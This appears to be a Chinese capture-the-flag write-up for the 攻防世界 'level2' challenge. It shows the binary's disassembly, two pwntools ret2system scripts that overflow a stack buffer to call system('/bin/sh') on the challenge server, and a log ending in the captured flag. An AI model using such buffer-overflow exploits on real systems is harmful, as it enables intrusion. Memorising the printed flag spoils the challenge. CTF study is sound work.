攻防世界-level2

2023-10-27

攻防世界-level2

image-20230408153709888

image-20230408153749676

.text:0804844B vulnerable_function proc near           ; CODE XREF: main+11p
.text:0804844B
.text:0804844B buf             = byte ptr -88h
.text:0804844B
.text:0804844B                 push    ebp
.text:0804844C                 mov     ebp, esp
.text:0804844E                 sub     esp, 88h
.text:08048454                 sub     esp, 0Ch
.text:08048457                 push    offset command  ; "echo Input:"
.text:0804845C                 call    _system
.text:08048461                 add     esp, 10h
.text:08048464                 sub     esp, 4
.text:08048467                 push    100h            ; nbytes
.text:0804846C                 lea     eax, [ebp+buf]
.text:08048472                 push    eax             ; buf
.text:08048473                 push    0               ; fd
.text:08048475                 call    _read
.text:0804847A                 add     esp, 10h
.text:0804847D                 nop
.text:0804847E                 leave
.text:0804847F                 retn
.text:0804847F vulnerable_function endp
.text:08048480 main            proc near               ; DATA XREF: _start+17o
.text:08048480
.text:08048480 var_4           = dword ptr -4
.text:08048480 argc            = dword ptr  0Ch
.text:08048480 argv            = dword ptr  10h
.text:08048480 envp            = dword ptr  14h
.text:08048480
.text:08048480                 lea     ecx, [esp+4]
.text:08048484                 and     esp, 0FFFFFFF0h
.text:08048487                 push    dword ptr [ecx-4]
.text:0804848A                 push    ebp
.text:0804848B                 mov     ebp, esp
.text:0804848D                 push    ecx
.text:0804848E                 sub     esp, 4
.text:08048491                 call    vulnerable_function
.text:08048496                 sub     esp, 0Ch
.text:08048499                 push    offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E                 call    _system
.text:080484A3                 add     esp, 10h
.text:080484A6                 mov     eax, 0
.text:080484AB                 mov     ecx, [ebp+var_4]
.text:080484AE                 leave
.text:080484AF                 lea     esp, [ecx-4]
.text:080484B2                 retn
.text:080484B2 main    


image-20230408154001955

image-20230408154033232

from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',60839)
#nc 61.147.171.105 
#nc 61.147.171.105 60839
e = ELF("level2")
#pop_rdi_addr = 0x08048519
system_addr = e.symbols['system']
binsh_addr = e.search('/bin/sh').next()

print(system_addr)
print(binsh_addr)




pad=136+4

pause()

#ret_addr=0x0804A024
#payload=b'A'*pad+p32(ret_addr)


delimiter='Input:'
payload = b'A'*pad   + p32(system_addr)+b'dead' + p32(binsh_addr)
#payload = b'A'*(0x88+4) + p32(binsh_addr) + 'dead'+ p32(system_addr)
io.sendlineafter(delimiter,payload)
io.interactive()

#0804A024




or:

 from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('61.147.171.105',60839)
#nc 61.147.171.105 
#nc 61.147.171.105 60839
e = ELF("level2")
#pop_rdi_addr = 0x08048519
system_addr = 0x08048320
binsh_addr = 0x0804A024

print(system_addr)
print(binsh_addr)



#88h=16*8+8=136
pad=136+4


pause()

#ret_addr=0x0804A024
#payload=b'A'*pad+p32(ret_addr)


delimiter='Input:'
payload = b'A'*pad  + p32(system_addr)+b'dead' + p32(binsh_addr)
#payload = b'A'*(0x88+4) + p32(binsh_addr) + 'dead'+ p32(system_addr)
io.sendlineafter(delimiter,payload)
io.interactive()

#0804A024




giantbranch@ubuntu:~/Desktop/study$ python level2-3.py 
[+] Opening connection to 61.147.171.105 on port 60839: Done
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 system
[DEBUG] PLT 0x8048330 __gmon_start__
[DEBUG] PLT 0x8048340 __libc_start_main
[*] '/home/giantbranch/Desktop/study/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
134513440
134520868
[*] Paused (press any to continue)
[DEBUG] Received 0x7 bytes:
    'Input:\n'
[DEBUG] Sent 0x99 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  20 83 04 08  │AAAA│AAAA│AAAA│ ···│
    00000090  64 65 61 64  24 a0 04 08  0a                        │dead│$···│·│
    00000099
[*] Switching to interactive mode

$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level2\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level2
lib
lib32
lib64
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level2\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level2
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{9a19ef0dea6816905941e2c63652d2a8}\n'
cyberpeace{9a19ef0dea6816905941e2c63652d2a8}
$  

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界-level2 的相关文章

随机推荐

  • 限定特定的IP访问服务器

    需求 windows and Linux系统仅限指定的IP或网段登陆 解决方法和思路 1 Windows设置的方法有多种 方法一 通过本机自带的防火墙设置限制IP访问 修改下面三个规则属性 点击属性 查看对应设置 设定可以访问的地址段或IP
  • 构建REST风格的Web Service

    1 什么是REST REST 是由 Roy Fielding 在他的论文 Architectural Styles and the Design of Network based Software Architectures 中提出的一个术
  • 完美卸载Visual Studio2015的方法汇总

    前言 由于各种原因 阿木寺被迫回到VS2013时代 所以此时VS2015也没有必要存在 于是再网上找了各种卸载方法 简介 方法一 适合于有点基础电脑知识的童鞋 难度 方法二 适合于小白 难度 方法三 适合于技术控 难度 方法一 1 利用当初
  • PyTorch中torchvision介绍

    TorchVision包包含流行的数据集 模型架构和用于计算机视觉的图像转换 它是PyTorch项目的一部分 TorchVison最新发布版本为v0 11 1 发布较频繁 它的license为BSD 3 Clause 它的源码位于 http
  • 高并发秒杀系统架构设计与实现(RuoYi-Cloud-SecKill)

    介绍 本项目是基于若依RuoYi Cloud的高并发秒杀微服务项目 RuoYi Cloud SecKill 后端采用Spring Boot Spring Cloud Alibaba MyBatis 前端采用Vue ElementUI 通过创
  • [Java]Maven项目中,子模块之间引用不同模块的方法时,会出现< 程序包:com.xxx.xxx.common.base.result 不存在>解决办法

    启动 ServiceOssApplication时报错 程序包 com atguigu guli common base result 不存在 分析思路 该程序包是另一个子模块 common下的 common utill子模块中的工具类路径
  • 【redis篇】超详细的redis安装教程,学不会你找我

    目录 第一 下载安装包 第二 上传到服务器并解压 第三 安装编译所需依赖 升级GCC 第四 开始预编译 第五 安装 第六步 启动 方式一 直接启动 方式二 守护进程启动 方式三 开机自启动 第一 下载安装包 安装包下载地址 Download
  • 百度翻译api JAVA实现

    进入官方 http api fanyi baidu com api trans product index 点击立即使用 申请得到appid和密钥 ps 这要用作开发时的常量 若当月翻译字符数 2百万 当月免费 若超过2百万字符 按照49元
  • 【C++】继承基础知识一遍过

    目录 一 概念 二 继承定义 1 继承格式 2 访问限定符与继承方式的关系 3 继承父类成员访问方式的变化 小结 三 父类与子类对象赋值转化 四 继承作用域 1 特点 2 测试题 五 派生类不一样的默认成员函数 1 构造函数 2 拷贝构造
  • 机器学习笔记九——线性模型原理以及python实现案例

    线性模型 1 线性模型概述 2 广义线性模型 3 用于回归的线性模型 3 1 线性回归 又名普通最小二乘法 3 1 1 单变量线性回归 3 1 2 多变量线性回归 3 2 岭回归 ridge regression 3 3 LASSO回归 4
  • Excel基本操作方法

    Excel基本操作方法 1 选择不连续的单元格 选择一单元格之后 按 ctrl 键不放 并单击其他需要选择的单元格 2 插入单元格 选择 开始 单元格 组 单击插入按钮 在弹出的下拉列表中选择 插入单元格选项 3 合并和拆分单元格 选择要合
  • 如何用Stata完成(shui)一篇经济学论文(七):判断语句

    目录 基本判断语句 if 逻辑判断 或且非 用 判断 基本判断语句 if 与其他语言类似 Stata中也有if if else 和while 不过我还从来没有在Stata用过后两个 秉着这个教程也是一个快速教程 这里我就只介绍if 如果大家
  • pandas 解决滑动窗口不会计算存在空值的窗口

    Pandas官方的滑动窗口文档请参考 https pandas pydata org docs reference api pandas DataFrame rolling html 解决方法 添加参数 min periods 用于指定 当
  • element ui修改table行鼠标经过样式(包括固定列)

  • 超详细SpringMVC 之 JSR303与拦截器

    一 JSR303 简介 JSR303是做服务端校验 参数验证 实现服务器校验步骤 1 做服务端参数校验 JSR303 的jar包依赖
  • 设计模式——设计模式简介和七大原则

    导航 黑马Java笔记 踩坑汇总 JavaSE JavaWeb SSM SpringBoot 瑞吉外卖 SpringCloud 黑马旅游 谷粒商城 学成在线 设计模式 牛客面试题 目录 一 通过经典面试题掌握重点 二 设计模式的目的和核心原
  • Unity3D之键盘输入

    目录 获取按键状态 检测特殊按键 获取键盘输入 自定义键位 获取按键状态 Unity的Input类提供了几个方法来获取按键的状态 GetKey GetKey方法用于检测指定按键是否被按住 if Input GetKey KeyCode Sp
  • twrp Xposed zip包脚本定制全解析

    声明 本文不对印刷机导致的任何结果承担责任 请谨慎尝试 想要研究一个新技术 最好的办法就是read the fuck source code 读源码时最直接高效的方式 当然 这很难啃 所以通常也可以配合网上一些教程来理解 但是通常 值钱的技
  • 接口学习总结

    接口测试学习总结 什么是接口测试 接口测试是项目测试的一部分 它测试的主要对象是接口 是测试系统组件间接口的一种测试 接口测试主要用于检测外部系统与所测系统之间以及内部各系统之间的交互点 测试的重点是检查数据交互 传递 和控制管理过程以及系
  • 攻防世界-level2

    攻防世界 level2 text 0804844B vulnerable function proc near CODE XREF main 11p text 0804844B text 0804844B buf byte ptr 88h